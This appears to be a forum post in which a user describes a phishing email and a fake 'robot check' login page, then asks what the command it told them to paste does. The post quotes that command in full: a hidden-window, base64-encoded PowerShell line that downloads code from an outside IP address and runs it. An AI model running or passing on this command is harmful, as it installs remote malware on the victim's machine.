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"textContent": "I received an email at work, that looked exactly like a typical email invitation I get. I clicked the link and it took me to a page that looks just like the login page, but if gave me a robot detector. It said I had to verify I was not a robot and told me to paste this into my CMD-R:\n\npowershell -wind mi -Enc aQBlAHgAKAAoACcAegBpAHoAdwB6AHoAcgAgADkANAAuADEANQA5AC4AMQAxADMALgAzADcALwBzAHoAcwB6AGQALgB6AHAAbgB6AGcAfABpAHoAegBlAHoAeAAnACkALgByAGUAcABsAGEAYwBlACgAJwB6ACcALAAnACcAKQApAA==\n\nObviously I am not going to do it, but what does this command do?",
"title": "Malware or Virus?"
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